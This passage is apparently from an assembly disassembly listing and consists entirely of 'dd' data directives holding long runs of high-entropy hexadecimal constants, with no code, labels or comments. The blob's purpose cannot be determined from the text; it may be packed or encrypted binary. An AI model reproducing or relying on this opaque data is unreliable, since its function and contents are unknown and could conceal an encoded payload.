		dd 13F27450h, 0A801F822h, 6368CEDAh, 1C3FA974h,	25E78FE8h
		dd 0E9D09EFEh, 818C6585h, 0EF100002h, 3530010Ch, 0AAE8C09Dh
		dd 62D99C51h, 0BE598F26h, 0D2BC04CBh, 680392B2h, 0AA64E8F4h
		dd 7DBBC810h, 11B95100h, 0F714726Dh, 5ABDD14Eh,	42C5D586h
		dd 454ABB04h, 4FA0527h,	14D96737h, 326C0B85h, 0C82001Eh
		dd 0B8372E43h, 8108011Dh, 453D1FF2h, 0A6167E64h, 3D5CB9A0h
		dd 2D287213h, 1924B71Eh, 172F8BEh, 7C4D2540h, 48DA5F6Dh
		dd 28B32D9Ah, 0B85347Eh, 801097B6h, 0AEF34684h,	0B791BF2h
		dd 66A6DC3h, 58C7AC00h,	0CB906B1Ch, 4E89A240h, 504D8EF3h
		dd 0E917E855h, 27BBCA42h, 0EFEE8E5Fh, 2671271Ch, 619E7569h
		dd 1374BDh, 42747535h, 0B15BFBE9h, 0CEB29077h, 0FE9AD5C9h
		dd 0D002FB12h, 57013A3Eh, 35E05F56h, 7E7997D8h,	99F0988h
		dd 4DE8C968h, 2D809AE6h, 217776Ah, 0E0840530h, 2FD5CFEh
		dd 5DE77826h, 0CDF0F9F2h, 20E8C14Ah, 2DE7B393h,	7F2D0B48h
		dd 0EE0A5EB0h, 5AC159ABh, 2C1C6251h, 0C6818159h, 6A742061h
		dd 0CEB65F70h, 0BAE4FB71h, 885E4B4h, 6B87003h, 0C43DBF7h
		dd 0A0BCE906h, 781292D5h, 0B80810ADh, 112C0BD0h, 6641C0DCh
		dd 5ECDF287h, 7A5CEE24h, 7B5CBF1Bh, 0C831E15Bh,	51D4E1FEh
		dd 607868DCh, 0E956104Eh, 9AA818ABh, 512562AFh,	6B12D144h
		dd 0BC392004h, 7F56278Ah, 0C8BD7136h, 95693D3Dh, 5D05A13Bh
		dd 50FB6858h, 822565EFh, 75E74025h, 0BD452ABFh,	2D50B97h
		dd 0E18C0CAFh, 0E96AE3BCh, 2C15DF8Bh, 0FEBF03F5h, 0D1867550h
		dd 0B05779E3h, 526515E1h, 9CD80220h, 0F44A2DB8h, 95B04475h
		dd 79071D56h, 0ED60DAA3h, 2F161FADh, 0E7D8294Fh, 0D780882h
		dd 12062EE6h, 0E189E978h, 51ED06CBh, 0B81B9158h, 0DF160B07h
		dd 0CA6F016Ah, 5D1308C1h, 171E8EAAh, 0ACB1C6E9h, 0F4F4FC7Eh
		dd 4CB78AAFh, 79452F3Dh, 0B02A8CA7h, 384C7747h,	71591DD9h
		dd 6C311986h, 8B5D1258h, 6F68BA0Ch, 0AE7C27E9h,	82FF21A5h
		dd 925FC631h, 1F95CD6Dh, 0E98DB068h, 0DF99B557h, 6508ADA6h
		dd 5258255Bh, 5AFA1F53h, 9D2D5ECh, 69FEB2F4h, 815C70h
		dd 53033DC9h, 48B2E96Fh, 0CE7AA0BDh, 5C2C5BA2h,	8B48CB3Eh
		dd 6E86C602h, 6155FC48h, 0C76FE9A0h, 0B47C0B1Ch, 2B5741F2h
		dd 4CEAD15h, 27CB63C2h,	0E8DE5D82h, 62C5BAh, 5608D373h
		dd 54537BEh, 838A126Fh,	9780F70h, 160C5984h, 0BA0C7678h
		dd 0C642932Fh, 0E11D13E2h, 58DB953h, 4A2C11E4h,	85BB9F85h
		dd 0AFB6EB0Ah, 0F4D2E7Dh, 2C5D4838h, 8DFD1F46h,	30B53FFEh
		dd 0A040FB5Bh, 69406BEh, 9A46126Ah, 3B56E73Ah, 47F60552h
		dd 5FEC9549h, 8F0D5304h, 846AB248h, 98AEC236h, 95AC61h
		dd 28C6B481h, 4BF0F2D4h, 4F41B4ECh, 420A1A06h, 0F2EAD2F7h
		dd 0F4051772h, 3747BFFDh, 7EDB97C5h, 10F51206h,	314F089Ch
		dd 26E921D7h, 0EDB85F80h, 0BA1A257Ah, 3A800179h, 0B5515350h
		dd 28B0EAD1h, 1A50C32h,	58C520DFh, 2E02E5C0h, 5D56AA96h
		dd 5D3B4F68h, 0D3D24B7Dh, 2AE98C19h, 2CA4036Fh,	128B5416h
		dd 1255369Fh, 0DB5D152Dh, 0B392BDCDh, 17A7FD39h, 2641FD11h
		dd 1C4B6137h, 34CFFF40h, 0EE085B9Fh, 22A24D0Bh,	5EE2C167h
		dd 4FB5019Dh, 2E2D5DA8h, 44C5E994h, 0CE5C384Eh,	0C3AFB982h
		dd 0ECF7E53Fh, 17C0A3FCh, 483FE6E3h, 2F22C153h,	6E01313Dh
		dd 0EC7FEEA1h, 5D331B7Eh, 2CBA9D16h, 0DABD9ED7h, 30CF77BAh
		dd 0B20ED6F8h, 0C203809Fh, 5EAC05Eh, 40F2B7FEh,	5B1ADAEFh
		dd 104EF20Ch, 0BE001A3Ah, 746308E1h, 5E713E2Dh,	0F029410Ah
		dd 0E90B0705h, 0F7FE23DCh, 0D4C6BFD5h, 35D0020Fh, 0C178AF70h
		dd 0F1D7E277h, 8B04AD1Eh, 0C58300E8h, 976D6801h, 94357C30h
		dd 32C39E24h, 69CFE90Dh
		dd 56285E3Bh, 0B96DC550h, 0A2C1F118h, 0E3C05900h, 52660801h
		dd 0D6F6DE88h, 5AE0F3D1h, 82EB3880h, 132BAC4Ah,	2CFF1687h
		dd 5D82AE73h, 0E97071C3h, 2CEEF15Ch, 6870E68Bh,	2F647F1Fh
		dd 5DE4EC84h, 20CE52BFh, 58B59E9Fh, 508E30CAh, 0B027F775h
		dd 0F45EEF25h, 3DBB01C3h, 3EDECDA6h, 0AEFDDF81h, 0C8EF399Dh
		dd 5F1703B4h, 74095502h, 0BA80F51Eh, 46692E2Ah,	0FF396E98h
		dd 4440AD72h, 1DDF7CC9h, 72318D1Fh, 0D15DDDF2h,	7A570BABh
		dd 0E9149746h, 0B18A91F1h, 0B900AB62h, 55F03F8Dh, 59CF2118h
		dd 67FDF874h, 0B1C732D7h, 6B25496Fh, 841F9B8h, 3BE5E36Ah
		dd 52B1ACE9h, 0AD0275ADh, 0B67F4D1Bh, 0EF643815h, 0A447F84Eh
		dd 1BC34AFh, 0B85AF18Ch, 96102031h, 754D1D02h, 0A45848E9h
		dd 0D3AC54E9h, 97163E07h, 0ADB3EE0Dh, 0CB30769Ch, 44BF0C56h
		dd 8222F07h, 6805A17Ch,	0BFA337AEh, 0A5289602h,	3157315Fh
		dd 0D641D138h, 0AE04EC5Bh, 0FA3E57B0h, 0EC084E2Dh, 719196CEh
		dd 8F2FCA99h, 64BA5B6Ah, 9544F466h, 0FDE23041h,	28683B32h
		dd 41D448A0h, 0A14A0FF0h, 0D19C652Eh, 0D42A27AFh, 6A70E19Ah
		dd 2CBE3225h, 68535524h, 76BF10C2h, 5572BA2Dh, 2F1752B5h
		dd 0AA64E16Dh, 68AD71F1h, 50B5C4A7h, 73E4134Fh,	3D7CEABEh
		dd 0E92FFD87h, 170380BEh, 49E91BDFh, 8F5E0707h,	4BC84D9Ch
		dd 520A2CEFh, 729DE913h, 0D3BE6594h, 0E0E150A2h, 0D5F43575h
		dd 6CD3E006h, 0A92A9B3h, 0F158C1EBh, 0D48C3E42h, 55585A78h
		dd 0B92529CFh, 0D2B48DE4h, 0BAE95F82h, 4CA27DD4h, 0F809B578h
		dd 0EAB28136h, 46B21D99h, 0E8B07ED0h, 0C8404F0Eh, 0BCBA545Eh
		dd 0BD6651BDh, 0E21C2A7Ch, 0D273F3D1h, 212F3320h, 0D184F6D8h
		dd 26C46F28h, 10EC9A62h, 2092D7E9h, 0EDE5801Ch,	0F878F5C9h
		dd 28D6204Ah, 29E2420h,	18A4CD81h, 19E07135h, 8327D966h
		dd 97C95052h, 88E9AC01h, 40842519h, 0DA2C0F90h,	97BE2A00h
		dd 292E1362h, 0B8B798D6h, 0DE516252h, 0AF664CD5h, 89B3C997h
		dd 0B06356Ah, 0BA5553F0h, 0C4F95FECh, 0E94EA8C8h, 924CD7C8h
		dd 0C3615EB7h, 0BE85482Ah, 0BA4BC5A6h, 0C5AC134Eh, 0E4A8BCEAh
		dd 1E685C81h, 0ECDA3B23h, 378AA712h, 0B3E98E58h, 20509CFDh
		dd 2D4FADCCh, 2805C2A4h, 50BC172Ah, 4FECC001h, 4E6CE328h
		dd 768F60EEh, 27502C37h, 0E92F03C1h, 82D889DEh,	2618D73h
		dd 77E2D1F6h, 0E3D64C70h, 0F36639EFh, 3147CD95h, 81856003h
		dd 3D64E7A0h, 55CD4A26h, 4C902116h, 2F5930FEh, 1C58012Ah
		dd 0EDDB0882h, 2EC5063Eh, 234582Fh, 54DB4338h, 808CF01h
		dd 14141C34h, 9CE498Eh,	0FAE6F3E9h, 480BEE64h, 0DE06BE90h
		dd 256FDC68h, 989C3E27h, 116C2CFh, 21368FCCh, 2CC5E9D0h
		dd 635D277Eh, 0ED49E15h, 4D78011Dh, 0F40CFFC5h,	0E22DE967h
		dd 0ACA45B06h, 2DC3212Eh, 82584E4h, 2502663Eh, 2AC861E9h
		dd 15BC6F3h, 4B5B9E41h,	9656Dh,	0CEE6E908h, 0FA58C8B5h
		dd 7B75060Bh, 64EF787h,	0FC425882h, 51B5E2F8h, 6856C03Dh
		dd 79957734h, 0A8029249h, 0A79748CBh, 0C2A8DFD4h, 0A9D2125Ah
		dd 0B1683A74h, 8BBF231Fh, 0BA586FA7h, 3DE96FFBh, 0E271FDD6h
		dd 8A16DF5Ch, 2F391D33h, 6014F18Ah, 0F235E081h,	6EA0CF7Ah
		dd 0E29BC187h, 1740D5B7h, 98029C8h, 0C15916CAh,	0B0BB04E2h
		dd 9247F85Ch, 0FD3D74EBh, 0A95B897Bh, 0CE7476F1h, 329F0868h
		dd 5666E924h, 2050BDA8h, 0B785D4B0h, 787265A6h,	0E7D49D5Eh
		dd 0FC2A5C79h, 49361h, 0CE322B4Bh, 5B75346Ah, 9B056B61h
		dd 51D9B432h, 47C23702h, 0F7F8295Ah, 0B2E02530h, 7C896E9Fh
		dd 16222F59h, 1F218752h, 84C0A571h, 8505609Ch, 1055E911h
		dd 0B9519593h, 0F46FAB7Ch, 0E1EE036h, 0F5D21D29h, 0E4A47257h
		dd 684340CBh, 4606F62Dh, 0E1645B43h, 9EEC7B35h,	3676BBF4h
		dd 0CAD4B7B2h, 3B951F8h, 2D86326Eh, 8DC898B8h, 332DE9EBh
		dd 0DCD14BA2h, 6355B3AAh, 0A8B65262h, 0B75AF588h, 6D06558h
		dd 8D45109Dh, 137CE84Eh, 0EE220B31h, 0BB0CC832h, 0DF7D12B9h
		dd 68A9E073h, 0E9AB51F7h, 5E456CCFh, 0E98277E6h, 0C851BD8Ch
		dd 0F5CDE842h, 0B24C446h, 0BEC04B7Ah, 1CE438Dh,	3FE68105h
		dd 2B2DDA76h, 2904EBA8h, 846C0768h, 0D617BE77h,	4F4ACEAEh
		dd 56F940D4h, 5A90392Ah, 0A18CED5Eh, 612B0259h,	759F5547h
		dd 44D636Bh, 233FA01h, 0BB1370A9h, 0B78FAEF3h, 2CC0EC40h
		dd 3A5EAF44h, 417D634h,	81EB2BC6h, 76724A30h, 0EA912C9h
		dd 58A2CAB8h, 5500016Ch, 0BE7FA2BDh, 0BE3DE97Bh, 96FF2F40h
		dd 980226DAh, 5B60A485h, 7B97ACF9h, 9F5047FDh, 0E2054A01h
		dd 5EC55BBCh, 0F8F36CEBh, 24A7AB4Ah, 40EB592Dh,	9C4F502Dh
		dd 150984C5h, 7C576A68h, 0A5CC3A63h, 5A30D92Ch,	5DA5772Ch
		dd 0E9393536h, 1E0B5DAEh, 8E3EC0D9h, 173CF180h,	3AE83804h
		dd 11AB5B0Fh, 0C62C4452h, 673AB258h, 0E98F3110h, 0F5366202h
		dd 34E9603Bh, 28F57911h, 521FA281h, 8F4B6A51h, 79E6D7C5h
		dd 0AA6980AEh, 9555821h, 0A5097FCBh, 0D10235D6h, 7E22A1A4h
		dd 71142FE4h, 47D10E4Eh, 50DC41C2h, 0E64AB75Fh,	0AC1C080Ch
		dd 7A68150Bh, 0E064515Dh, 0E1E9C209h, 53019E94h, 0FDB5A0B3h
		dd 6B38D9D7h, 0E068CC6Bh, 0D803F7E6h, 0FD0E500Dh, 4FC98835h
		dd 0D84A4845h, 67294E05h, 7444BA0Bh, 2107315Fh,	3A6572EAh
		dd 3E6F08F4h, 0F7042390h, 825153D7h, 804C3C78h,	820CD502h
		dd 75F0E94Ah, 800757Ah,	0F74C717Fh, 0B8E7C1DFh,	1AACE682h
		dd 1628902Bh, 375AEA80h, 1DB06E03h, 0D4CE6004h,	0EA2133h
		dd 405EF3C3h, 0E97F57C2h, 0C1A60A54h, 0FD41870Ch, 175F0C45h
		dd 0BF029A12h, 3B549B21h, 3EF32B81h, 0EC1A9017h, 0C7C1463Fh
		dd 7EAC1D2h, 0B3EBBD40h, 0AC6A4A2Ah, 0D5CB128Ch, 444A6DA6h
		dd 0A32BD2C7h, 8487484Ch, 0EE57ACD0h, 41D8B38Ch, 681530B7h
		dd 8175C620h, 0B63BAEE1h, 1BD91640h, 0DB28DAC9h, 0BB59124Ah
		dd 95B337D1h, 0DC88AA05h, 0E56A600Ah, 0DEE1A6C7h, 5EA1DD4Fh
		dd 0E98E207Bh, 4E9DCF2Dh, 0DA60CC3Bh, 0DBB5584Eh, 14A88039h
		dd 0BF354417h, 258F781Ch, 485A4E40h, 137D2D13h,	1F6D821h
		dd 0D91BA491h, 0EEAC2F2Bh, 71310841h, 3583F92Fh, 0F3FCA794h
		dd 164F0684h, 5DE09816h, 0DD9C0BC7h, 5A0B3139h,	0E9061554h
		dd 2F46F9BDh, 0A1F24941h, 6A85FB03h, 78C829E8h,	12D396DEh
		dd 4576EA56h, 3B1F417Ah, 122A8DF8h, 0EF46A8A1h,	2AD15807h
		dd 4B930B78h, 0F548E6h,	58210C99h, 0FC315A23h, 9752493h
		dd 4017BA9Ch, 0A57CFF59h, 0C52B4E7Eh, 1CE4A8E0h, 5D3DEF21h
		dd 0FA1E7447h, 0C02FBAC0h, 0A4277BB6h, 7ACB07B2h, 390572BFh
		dd 0B20DE140h, 14E06309h, 0FB10DF40h, 0B5B28EE9h, 12C0494h
		dd 41ABD18h, 0D31695D2h, 41078B5h, 306CB12Ch, 9B98C7F9h
		dd 2B5C3BC2h, 98C33078h, 0E3FFE48Fh, 20EB3D2Ah,	0F991480Bh
		dd 0CE885285h, 4E3AE81Ch, 0EE80B7ACh, 4185753Fh, 2CB0DDFBh
		dd 0E0EFC07Fh, 2175859h, 0E955C729h, 42710D3Ch,	0B184DC2h
		dd 9735C455h, 55583148h, 0F0552E90h, 5F3370E9h,	0B0C7E897h
		dd 59D88841h, 2792D80h,	1443A38h, 78805C8h, 0C59F12E4h
		dd 0C517BD47h, 61AB88C1h, 132C780Dh, 9BAAC514h,	49E05B29h
		dd 2E75006Fh, 535CE181h, 309863C5h, 7120DC4Bh, 136141EEh
		dd 13D70987h, 3089A0E3h, 0FE58C70Bh, 0D77089CFh, 845FCFC3h
		dd 21E298F9h, 0D9578389h
		dd 0CF62B9C3h, 0FE0079B6h, 90EAC0CAh, 0B05004BDh, 0AB2C044Fh
		dd 0EF94EC1Ch, 0E7800ED0h, 0B9C761CBh, 306AFA30h, 0E9D328C1h
		dd 42AB734Bh, 55539C2Bh, 356077Dh, 0D108E53Fh, 0B910EABh
		dd 4E8A4CD0h, 62B78A5h,	42D97B85h, 5658B804h, 0C7BEC305h
		dd 0A1B7D2D7h, 881F67FFh, 540B9330h, 0F729AB5Bh, 0F7A5A2EFh
		dd 61EB51B0h, 6FCE1B16h, 1AC15100h, 0B229076Ch,	0E2C30438h
		dd 0FD117A35h, 0A00841C7h, 809D171Ch, 505AFB6Ch, 0D9E98133h
		dd 0CF6381A8h, 83E7182h, 16707A20h, 1342F76Eh, 0E4BEC9Eh
		dd 584B7584h, 791B60Ch,	0FA298FFCh, 0A885E5E9h,	40EBD667h
		dd 7E6BBD24h, 4EF443B3h, 5E4C9C49h, 0AB028283h,	0E20BE752h
		dd 4C12F7Dh, 0F8F5C897h, 416B8020h, 385820B2h, 0E5A38D16h
		dd 99E39487h, 801C0EA0h, 0C669CCEEh, 7044897Dh,	37B617A7h
		dd 4B6AC728h, 0DB3CF3FEh, 126E8529h, 4AB814EAh,	9E925E50h
		dd 0C55BBFFBh, 494ADA75h, 0CDB24B47h, 6D6CC4h, 723D7FBBh
		dd 0C763BF0Ch, 0F04BD3EAh, 0B6E4AB9Ch, 0FF0D0492h, 0C7DF89F1h
		dd 5207A8A1h, 0AD87B7B2h, 2F6666D9h, 2718BB5Eh,	54802AE2h
		dd 69CDBD5Ah, 259D5708h, 0B178AD8h, 9AEDCF65h, 0B9402B3Bh
		dd 4A3EF3EEh, 7AF9BEC5h, 69E2685Ah, 0BF1A9E04h,	5366C352h
		dd 170ADA1Fh, 9BE91260h, 96B2AFA2h, 3C2E9019h, 0D037F8ACh
		dd 0B0C590B4h, 2AA3BBh,	39C35323h, 96BFDCE9h, 0C16EAE8h
		dd 0E5336207h, 9339C4DDh, 0C90B22B4h, 0B9EE57A2h, 0FCAF353Dh
		dd 73FD5CB7h, 0C5FD1CE2h, 84A39264h, 0D7A7B64Ch, 2411D40Eh
		dd 0D5FE383Dh, 902DBA65h, 4F867B60h, 5F14B7C1h,	5B30A7E0h
		dd 0C09864F8h, 1F77686Dh, 56669895h, 705995D6h,	9A4D501Eh
		dd 0B07F23B7h, 484B4216h, 0E84EDFA2h, 77FA1B9h,	3CE6D97Ah
		dd 0F85106Ch, 2903662Fh, 0AC5FC42Ch, 95BD7D85h,	724FD475h
		dd 47B1FC04h, 7316BEFBh, 2AB78CEBh, 5F134C9Eh, 3D1007A6h
		dd 179258ABh, 1CF8D782h, 9C2802A5h, 62D7473Dh, 5822CAE1h
		dd 0DC71970Ah, 7488E9C1h, 256FB224h, 0F1D4520Fh, 9C290502h
		dd 72267536h, 75091607h, 77FE71DCh, 0B3B053CEh,	0EC81AF40h
		dd 0C12B1EEEh, 0A768DF01h, 3E28471h, 0E5E655C2h, 0C1CA2B4Ah
		dd 0E5E95CC1h, 79FFC24Eh, 0B8F74B1Fh, 5B031CBFh, 8075C456h
		dd 73DCF13h, 126BFA32h,	254E5806h, 98DD1968h, 0C084446Ah
		dd 17D7EA81h, 669099ACh, 0C92DC603h, 41D12976h,	1A2008EAh
		dd 8F600FF1h, 1EBFD890h, 0AE1799A2h, 74D9AD56h,	0F4317055h
		dd 0C2845EB5h, 4DDC58C2h, 202E4469h, 0DB9DB039h, 0B850C047h
		dd 66EA2869h, 0D1F7911Ch, 41C8D8E5h, 1F02AABh, 93590C02h
		dd 35305843h, 31DA2E0Fh, 0DE65BE01h, 5D6B6F05h,	3087C651h
		dd 5064C24Ah, 0EDBEA5FEh, 0CC6F04Fh, 0D3C7E0F4h, 852BC288h
		dd 1BF18309h, 0F560FC3Eh, 7849B600h, 4BE92ACFh,	0C152E809h
		dd 386E79BAh, 0D075803Bh, 487E573Bh, 45AD33Fh, 0D71ECD5Bh
		dd 0B7ADA8AAh, 0D5BAEE65h, 60C1BFB5h, 932A993Eh, 0AB1FB836h
		dd 0CD52FD31h, 4BE0485Fh, 816135Fh, 0F6174DC6h,	662D56F8h
		dd 0A576C2E3h, 2DA9ECBFh, 0D4C601C7h, 1E784D0Ah, 6C42A706h
		dd 5F166DDh, 5B0E2DBFh,	3B811B21h, 2FCF2981h, 0E7C02AB2h
		dd 4BE24722h, 300D2EC0h, 4FE9612Bh, 0AAEA136Fh,	2754DD68h
		dd 0DA60AAE9h, 0E9DDDF6h, 6ED6783h, 0CCCBD3h, 4297BA1Ah
		dd 0E2C111C5h, 0B4251EB8h, 0F132778Eh, 56157C1h, 508F6F09h
		dd 877BFD2Fh, 0FADF75CDh, 52564FCFh, 50555300h,	4F43E868h
		dd 3BE9190Ah, 0D09DC7A4h, 0F213CAFCh, 75EC0FAFh, 4E553029h
		dd 8FE2B739h, 294A2CD1h, 846D8682h, 6FDD402Eh, 0A9AD5069h
		dd 24CA7CC9h, 3CDA4FA8h, 5F7E1384h, 18C8EB49h, 0AB6B0909h
		dd 0D05D2904h, 94EF0B87h, 0E8DD06D7h, 0B0D801B0h, 0BAA620A9h
		dd 0FA746EB7h, 83A24075h, 93207F2Eh, 76D8840Eh,	0D8609D0h
		dd 0C10B010Ah, 696803EDh, 7B2672h, 13283B9Bh, 96EF281h
		dd 4A2D8C04h, 0EA81FDFCh, 829893F1h, 0FB1C244h,	973BB97Eh
		dd 0AE4EACA3h, 8D894621h, 1CE6E37Eh, 4938906Eh,	7B1AC465h
		dd 16CCE902h, 9EEAF890h, 0D0012392h, 5E34612Ch,	3060E8C0h
		dd 0C328037Ch, 0C4B65258h, 0DC2F382h, 6AEF625Dh, 8B7B5DDDh
		dd 5758C44Bh, 165C16D8h, 3C6508CAh, 0D4E96BC5h,	1CB7E9F0h
		dd 90F261CBh, 80CE66FBh, 6528045Ah, 0D848842Ch,	0E8802704h
		dd 7552E625h, 2F799A25h, 0BFE594B4h, 0B92C10Ah,	557906E2h
		dd 0CA2C4DE5h, 0B7D1C750h, 0D6F4D712h, 0F74DB90Eh, 1864C5F9h
		dd 0A813246Ch, 0CFBBFF52h, 572D2DBCh, 0AA14F224h, 0B502E03Ch
		dd 9909DD2Bh, 8269CD54h, 0DCB4AD17h, 0DE9263AAh, 8C69D913h
		dd 0FC4AADA2h, 22B5B10Dh, 4AFDBD05h, 1B124EBCh,	128CEAD8h
		dd 0F1790B9Dh, 4D71216Ah, 8BEB5365h, 0FB10054h,	39BB4713h
		dd 909B09A7h, 0FBD2EB01h, 2F89EA33h, 92D6B9F5h,	2EA5287Ah
		dd 0E90C1243h, 0DD1B25ACh, 1CB6D4Eh, 70025F69h,	0DD90CED2h
		dd 68A39181h, 2E2A204Ch, 0C0AFBB10h, 5EDFF7AEh,	0C602B055h
		dd 284F7771h, 0F59C01FAh, 43EDD15Eh, 7748DBB5h,	0CE15351Ch
		dd 80D6B100h, 642C70EEh, 1E5E2629h, 0A44EC58Fh,	47B8B5C3h
		dd 4184A792h, 800B3A85h, 0AF6DF429h, 0AFE395D5h, 8FFEE462h
		dd 953FAB0Ah, 6BF56C2h,	47BF715Bh, 665C0D28h, 98E53F0Bh
		dd 4FE9C7CCh, 0C14DD05Dh, 0CD5038E3h, 0AB7DAA9h, 9D3B022Fh
		dd 7DFCBB7Dh, 590E309Dh, 0B75823Ch, 3C45DD67h, 3A795127h
		dd 2BE1A5DBh, 0E918A8B6h, 0F74F1377h, 4FECD74Bh, 0F4792B0h
		dd 0E27A2C7Eh, 308F5916h, 50B8716h, 539F62D8h, 9EA2551h
		dd 4BA24577h, 7AEC0927h, 3A04BC39h, 0EF555731h,	4BE91A8Ch
		dd 8474AD51h, 0A414805Ah, 0EEF74A7Fh, 22ECF364h, 0F3B94B50h
		dd 78F7393Bh, 73688556h, 0DE8861EEh, 0F22901B5h, 6833C5DDh
		dd 16B4C186h, 42F68017h, 5F12A3A8h, 0B4A3BAFDh,	0D4855A7Ah
		dd 8356C712h, 1024359Fh, 5B02384Dh, 0D733854Eh,	15F390Bh
		dd 0DC72F6C6h, 81C4A36Eh, 768465Bh, 7304EF2Ah, 38FA34F2h
		dd 0B6905C6Fh, 0AF9BE04h, 0F8AE776Fh, 43B8C5C1h, 563C96F2h
		dd 4B38BB92h, 0D090EB0Eh, 0FBC0A0E5h, 2304D0EEh, 61649F60h
		dd 6E29DD95h, 9713EC7Fh, 0BD7B2823h, 0CE89FD1Eh, 1E6DCF08h
		dd 9BBB4453h, 4F04AF7Bh, 0DE014E68h, 2889F4E9h,	0AB1A9EEBh
		dd 0CB7EC0B5h, 2CD1B738h, 986DAC1Dh, 2DE6F5ADh,	1FF06B22h
		dd 6E51295Ch, 0A18460F8h, 0B8215861h, 1B28062h,	5C0DF604h
		dd 21589A31h, 0E93E435Fh, 584CF2A9h, 7B2E27FBh,	8B92823h
		dd 0D557E9C6h, 67E95913h, 0BEB3ED17h, 0F0291262h, 632C2FE2h
		dd 2AC611FAh, 10CA7Eh, 4D4528B8h, 0E8D14841h, 0E338407Eh
		dd 2AAB5B99h, 19E90CBAh, 5EBEA9CBh, 0F721CC7Bh,	8630674Fh
		dd 9826143h, 0E860E922h, 5BD9C675h, 659854Bh, 1E9A5A02h
		dd 256DB24Ch, 8615C9D4h, 0D32AA86Eh, 6C9EFDC0h,	535F0EDDh
		dd 1D56FB89h, 46E9C96Ch, 0D9F79260h, 0BA965750h, 8262EE95h
		dd 92665CFBh, 94B7FC59h, 928D25E7h, 62C4CB1h, 1A367D68h
		dd 5620661Bh, 0F10BA39Eh, 0A62A73A1h, 0CE8100CAh, 3F764F8Eh
		dd 2E60AC1h, 2FE5750h, 5E9A0734h, 0CA898075h, 48142CB9h
		dd 0C3000320h, 0E9A1983Dh, 8F9A4945h, 9255A6ECh, 0D03F3061h
		dd 0AB0AF58Bh, 752FE9E2h, 0EB42929Eh, 0A92FB358h, 23C4A47Dh
		dd 50529090h, 4654BFB4h
		dd 4EA85B45h, 0FA0C0F4h, 6C4A5579h, 31844CBCh, 0EF00EAC8h
		dd 42571CB6h, 7F0EF309h, 13B40F40h, 21E1084Ah, 6B32AFABh
		dd 0A1105B8Fh, 1AB84B28h, 97D06518h, 741821F1h,	370C3E1Eh
		dd 0DCB3581Ah, 372ECC13h, 0C2E23F7Bh, 685E283Fh, 48676841h
		dd 17606ECDh, 85C0EF7h,	0E7C00547h, 2D1953ABh, 8818E915h
		dd 87F73FB5h, 5102EFC0h, 9DF8F9A4h, 2DD34077h, 6322960Fh
		dd 58AE463Eh, 26F2059Fh, 0A4614405h, 0DC4AE8E2h, 5727CCAEh
		dd 0B1F6495Bh, 66F5324h, 0D8757811h, 4E91C703h,	67C149EFh
		dd 0C0060680h, 315D61CFh, 91C04D5Eh, 0EFB97DECh, 0C688857Eh
		dd 73BD4A08h, 43BB439Eh, 0E97282A0h, 277A2032h,	0D14A5DEEh
		dd 47938A90h, 0BABF6382h, 7DDE5044h, 0B8082A49h, 88EE2C90h
		dd 26D51046h, 0E8863B5Ah, 7A0AB252h, 700427D0h,	0EE741244h
		dd 52BD3CC9h, 6FE29D49h, 93AE7155h, 605EB589h, 504064E9h
		dd 2A4CB55Bh, 0C2E5749Fh, 0A2744A25h, 3FACF151h, 2581281h
		dd 6C4E05C6h, 0B5F231E0h, 71AC4C13h, 40155BDh, 0E9B95518h
		dd 2F0B2EAAh, 3856CADh,	7C745468h, 0F65BE960h, 0E0754CD1h
		dd 327E0D63h, 0C78F469Ch, 5B754477h, 0D0F78177h, 201ADCE6h
		dd 9FD6F780h, 0BBC6CFC8h, 7876420Bh, 2EF7231h, 69526E1Ah
		dd 18FA71E9h, 9623CC39h, 0B3F81BECh, 0FAED8184h, 0FF58E192h
		dd 74AF9779h, 8E0452AEh, 12B31019h, 9FFDD4FAh, 86C6F9D2h
		dd 4C7C888Dh, 0D1091758h, 8974C238h, 68E38100h,	0C1278433h
		dd 5E9F31B0h, 9CE84ACh,	42B1CC2Fh, 3D0D688Bh, 7FA844F1h
		dd 20DF5548h, 2FAD76C2h, 0E9810E4h, 87B9E24Ah, 0FC19EB6Eh
		dd 201F622Bh, 0D0AEEA24h, 0ABB53D1h, 0B2521B31h, 263051E3h
		dd 0FF8F386Bh, 0E9C76CCAh, 51D3432Fh, 5D22AF16h, 0DE09513Bh
		dd 4360023Ah, 597706FAh, 0DAE94235h, 6D2983DCh,	42D46805h
		dd 134F50A3h, 0B92CBB3Ah, 9BE85C21h, 595CC120h,	0D1645B93h
		dd 1004F3AFh, 0D648855Eh, 1340A24Ah, 38BBB415h,	4A40493Bh
		dd 5A670305h, 0D0294746h, 929989E1h, 628AF9E1h,	847EAD4Eh
		dd 0AB165941h, 0F1C3CF05h, 3A4AC2EEh, 0DB95B3D0h, 0DC4F428Ah
		dd 3B397955h, 0A09D8420h, 0FEA9B5E2h, 4AB9FAC5h, 0D258E9A6h
		dd 1734A305h, 0BE80E6E9h, 7A2F58B2h, 0FCD452BFh, 3E9A9414h
		dd 2C68109h, 32EA5174h,	721FF427h, 9AE2F9FDh, 0D457A1AFh
		dd 0DC0C83E0h, 0C3F12910h, 0EA1D9FBBh, 697077BCh, 786AF6B5h
		dd 509DB4E9h, 6394B582h, 6C7E5BFh, 2EDBCDE9h, 0BE5C5E64h
		dd 5CBA4A8h, 5DF842h, 1D7880FCh, 0F581002Dh, 329974E3h
		dd 0E509D14Dh, 7E6029E9h, 1FB88956h, 3E601CD4h,	0A330EF67h
		dd 81629BD8h, 1E5830Eh,	188D3360h, 0C561726h, 5504DEE1h
		dd 8B6DE977h, 0B9E452AEh, 0C7A14AF7h, 0BFDEEDF8h, 2498274Eh
		dd 0C7680A0Ah, 0F2AD3E29h, 278612AEh, 9412AE8Eh, 528B21EDh
		dd 83DDCA08h, 0D5F7955Fh, 979D0E9Dh, 0AA018AC4h, 7B5185ECh
		dd 8E50A00Bh, 58C64091h, 47924EC4h, 68D0F600h, 2AE12BD7h
		dd 140062BBh, 75D40905h, 58181CC0h, 0D2234EB4h,	0C8000663h
		dd 9703CA37h, 0C4694AF0h, 7E8309DDh, 2A0CB029h,	4540E162h
		dd 346412D8h, 30D40E68h, 0D14238A0h, 0BD0905E0h, 0F4438646h
		dd 0B18A125Eh, 7C723A99h, 27505869h, 46455953h,	16996884h
		dd 44C4BDA8h, 8FB4019Eh, 28D0EB80h, 0F2D890E3h,	0B28AA066h
		dd 0DAF63FF5h, 4C2CEA9Fh, 0C60C1AF2h, 9ED285Fh,	80DBF684h
		dd 74E9AECFh, 3FC17649h, 99AACA20h, 0A89EEC53h,	55E1ABD0h
		dd 0F5A26A54h, 423B27h,	0AD385166h, 0E89DFC18h,	6B35F728h
